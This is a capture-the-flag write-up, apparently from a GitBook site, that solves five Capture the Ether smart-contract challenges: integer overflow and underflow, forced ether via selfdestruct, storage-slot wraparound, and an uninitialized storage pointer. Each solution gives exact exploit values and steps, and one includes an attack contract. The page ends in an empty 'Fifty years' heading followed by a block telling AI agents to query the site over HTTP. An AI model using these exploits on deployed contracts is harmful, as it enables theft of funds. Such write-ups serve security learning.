# Math

## Token sale

### Writeup

```solidity
pragma solidity ^0.4.21;

contract TokenSaleChallenge {
    mapping(address => uint256) public balanceOf;
    uint256 constant PRICE_PER_TOKEN = 1 ether;

    function TokenSaleChallenge(address _player) public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance < 1 ether;
    }

    function buy(uint256 numTokens) public payable {
        require(msg.value == numTokens * PRICE_PER_TOKEN);

        balanceOf[msg.sender] += numTokens;
    }

    function sell(uint256 numTokens) public {
        require(balanceOf[msg.sender] >= numTokens);

        balanceOf[msg.sender] -= numTokens;
        msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
    }
}
```

The constant `PRICE_PER_TOKEN` is 1 ether, which is represented by `10**18` wei in Solidity. This is a really large number.

In the function `buy()`:

<figure><img src="/files/EGbMuH1TQE52rq7W5IMv" alt=""><figcaption><p>buy() overflow</p></figcaption></figure>

We know that **integer overflow/underflow** is a thing for old versions prior to Solidity 0.8. Since `PRICE_PER_TOKEN` is huge and we have control over `numTokens`, we can pick a suitable `numTokens` and make `numTokens * PRICE_PER_TOKEN` overflow.

How large `numTokens` is supposed to be? Let's do the math:

```solidity
// INT_MAX = 2**256 - 1 = 115792089237316195423570985008687907853269984665640564039457584007913129639935
// numTokens will multiply with 10**18, so take out the last 18 digits: 115792089237316195423570985008687907853269984665640564039457
// To overflow this thing after multiplication, add 1: 115792089237316195423570985008687907853269984665640564039458
// After multiplication, the product is 115792089237316195423570985008687907853269984665640564039458000000000000000000
// After overflow this becomes 415992086870360064, which is msg.value
// This value is slightly less than 0.5 ether and it is suitable to solve this challenge
```

### Solution

1. Copy and paste the challenge contract into Remix and interact with it via "At Address".
2. Call `buy(115792089237316195423570985008687907853269984665640564039458)` and send 415992086870360064 wei as `msg.value`.
3. Call `sell(1)`.
4. Call `isComplete()` to verify if the challenge was successfully solved.

## Token whale

### Writeup

```solidity
pragma solidity ^0.4.21;

contract TokenWhaleChallenge {
    address player;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    string public name = "Simple ERC20 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    function TokenWhaleChallenge(address _player) public {
        player = _player;
        totalSupply = 1000;
        balanceOf[player] = 1000;
    }

    function isComplete() public view returns (bool) {
        return balanceOf[player] >= 1000000;
    }

    event Transfer(address indexed from, address indexed to, uint256 value);

    function _transfer(address to, uint256 value) internal {
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;

        emit Transfer(msg.sender, to, value);
    }

    function transfer(address to, uint256 value) public {
        require(balanceOf[msg.sender] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);

        _transfer(to, value);
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function approve(address spender, uint256 value) public {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
    }

    function transferFrom(address from, address to, uint256 value) public {
        require(balanceOf[from] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
        require(allowance[from][msg.sender] >= value);

        allowance[from][msg.sender] -= value;
        _transfer(to, value);
    }
}
```

The `transferFrom(from, to, value)` function calls `_transfer(to, value)`:

```solidity
function _transfer(address to, uint256 value) internal {
	balanceOf[msg.sender] -= value;
	balanceOf[to] += value;

	emit Transfer(msg.sender, to, value);
}
```

This implementation is wrong. In fact, it deducts balance from `msg.sender` instead of `from`. Moreover, `balanceOf[msg.sender] -= value` has **underflow** problem.

## Solution

Here is the attack plan:

* Initially we have `balanceOf[player] = 1000`.
* Create a proxy account in Metamask, call it `backup`.
* `player` calls `transfer(backup, 510)`. Here "510" can be any number greater than 500. If we transfer 510 tokens to `backup`, we now have 490 in `player` and 510 in `backup`.
* `backup` calls `approve(player, 500)`. This sets the allowance and prepares for `transferFrom()`.
* `player` calls `transferFrom(backup, backup, 500)`. In this step, `_transfer(backup, 500)` is being called. Since `_transfer()` deducts balance from `msg.sender` instead of `from`, the `player`'s account will be deducted 500. Recall that `player`'s balance is 490 at this moment, so `balanceOf[msg.sender]` is going to underflow to a huge number. That is, the `player` account has a huge balance now.
* Call `isComplete()` to verify if the challenge was successfully solved.

## Retirement fund

### Code Audit

```solidity
pragma solidity ^0.4.21;

contract RetirementFundChallenge {
    uint256 startBalance;
    address owner = msg.sender;
    address beneficiary;
    uint256 expiration = now + 10 years;

    function RetirementFundChallenge(address player) public payable {
        require(msg.value == 1 ether);

        beneficiary = player;
        startBalance = msg.value;
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function withdraw() public {
        require(msg.sender == owner);

        if (now < expiration) {
            // early withdrawal incurs a 10% penalty
            msg.sender.transfer(address(this).balance * 9 / 10);
        } else {
            msg.sender.transfer(address(this).balance);
        }
    }

    function collectPenalty() public {
        require(msg.sender == beneficiary);

        uint256 withdrawn = startBalance - address(this).balance;

        // an early withdrawal occurred
        require(withdrawn > 0);

        // penalty is what's left
        msg.sender.transfer(address(this).balance);
    }
}
```

The `collectPenalty()` function has **underflow** problem:

<figure><img src="/files/RF8HnGajZroPTd1TFma7" alt=""><figcaption><p>collectPenalty() underflow</p></figcaption></figure>

Here `startBalance` is 1 ether, and the developer assumed that `address(this).balance <= 1`. This assumption is clearly false since an attacker can call `selfdestruct()` in a proxy contract to **forcefully send ether** to the challenge contract. This will make `address(this).balance > startBalance`, so `startBalance - address(this).balance < 0` and it causes underflow. `withdrawn` will be a huge positive number.

### Solution

Write a selfdestruct contract and deploy it with `msg.value == 1 wei`:

```solidity
pragma solidity ^0.4.21;

interface IRetirementFundChallenge {
    function collectPenalty() external;
    function isComplete() external view returns (bool);
}

contract SelfDestruct {
    function SelfDestruct(address _challenge) public payable {
        require(msg.value == 1);
        selfdestruct(_challenge);
    }
}
```

After that, copy and paste the challenge contract into Remix and interact with it via "At Address". Call `collectPenalty()`. This step must be done manually since `collectPenalty()` checks `require(msg.sender == beneficiary)` and we have `beneficiary = player` in the constructor. Call `isComplete()` to verify that the challenge was solved successfully.

## Mapping

### Code Audit

```solidity
pragma solidity ^0.4.21;

contract MappingChallenge {
    bool public isComplete;
    uint256[] map;

    function set(uint256 key, uint256 value) public {
        // Expand dynamic array as needed
        if (map.length <= key) {
            map.length = key + 1;
        }

        map[key] = value;
    }

    function get(uint256 key) public view returns (uint256) {
        return map[key];
    }
}
```

`uint256[] map` is a dynamic array stored in storage:

> In the case of a dynamic array, the reserved slot p contains the length of the array as a uint256, and the array data itself is located sequentially at the address keccak256(p).

Read more about storage:

{% embed url="<https://programtheblockchain.com/posts/2018/03/09/understanding-ethereum-smart-contract-storage/>" %}
Understanding Ethereum Smart Contract Storage
{% endembed %}

In our case, the storage layout is:

```solidity
slot 0: isComplete
slot 1: map.length
// ...
slot keccak(1): map[0]
slot keccak(1) + 1: map[1]
slot keccak(1) + 2: map[2]
slot keccak(1) + 3: map[3]
slot keccak(1) + 4: map[4]
// ...
```

Recall that the max storage slot is `2**256 - 1` and the next slot after that is just slot 0 because of the overflow.

### Solution

Let's do a bit of math:

* `map[0]` is at slot `keccak(1)`.
* Max storage is at slot `2**256`.
* We need to overwrite slot `2**256 - keccak(1)`, which is just slot 0.
* `keccak(1) == 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6`
* `2**256 - 1 == 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff`
* `2**256 - keccak(1) = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 + 1`

Compuet `2**256 - keccak(1)` in Python:

```python
>>> 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 + 1

35707666377435648211887908874984608119992236509074197713628505308453184860938
```

Call `set(35707666377435648211887908874984608119992236509074197713628505308453184860938,1)` to overwrite `isComplete`.

## Donation

### Code Audit

```solidity
pragma solidity ^0.4.21;

contract DonationChallenge {
    struct Donation {
        uint256 timestamp;
        uint256 etherAmount;
    }
    Donation[] public donations;

    address public owner;

    function DonationChallenge() public payable {
        require(msg.value == 1 ether);
        
        owner = msg.sender;
    }
    
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function donate(uint256 etherAmount) public payable {
        // amount is in ether, but msg.value is in wei
        uint256 scale = 10**18 * 1 ether;
        require(msg.value == etherAmount / scale);

        Donation donation;
        donation.timestamp = now;
        donation.etherAmount = etherAmount;

        donations.push(donation);
    }

    function withdraw() public {
        require(msg.sender == owner);
        
        msg.sender.transfer(address(this).balance);
    }
}
```

Note that when the struct `donation` is declared, its location is not defined (`memory` or `storage`). In this case, Solidity picks `storage` by default. Since `donation` is uninitialized, it will be pointing to slot 0 and slot 2 (this struct has two entries, each entry is 32-byte long). Specifically, `donation.timestamp` points to slot 0 and `donation.etherAmount` points to slot 1.

Learn more about storage:

{% embed url="<https://programtheblockchain.com/posts/2018/03/09/understanding-ethereum-smart-contract-storage/>" %}
Understanding Ethereum Smart Contract Storage
{% endembed %}

### Solution

Let's anaylze the storage of this contract:

* **slot 0:** since `Donation[] public donations` is a dynamic array, its length is stored in this slot.
* **slot 1:** `address public owner` is stored here.

When the following code snippet is executed:

```solidity
Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;
```

Since `donation` is uninitialized, `donation.timestamp` overwrites slot 0 and `donation.etherAmount` overwrites slot 1. That is, we can overwrite `owner` with `donation.etherAmount`.

Now our task is choosing a suitable `donation.etherAmount`. This value is uint256, but we want it to represent an address. Note that there is another bug in the `donate()` function:

<figure><img src="/files/QykiMWX5LY177B2qB1EP" alt=""><figcaption><p>donate()</p></figcaption></figure>

Since `ether` is just an alias of `10**18`, this code is equivalent to:

```solidity
uint256 scale = 10**18 * 1 * 10**18;
require(msg.value == etherAmount / (10**18 * 1 * 10**18))
```

In this way, `msg.value` will be a small number, definitely less than 1 ether. Here you can convert your Metamask wallet address to uint256, compute `msg.value == <converted_address> / 10**36` and call `donate(<converted_address>)` together with the `msg.value` you just computed. Once `owner` is overwritten, call `withdraw()`.

## Fifty years


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/capture-the-ether/math.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
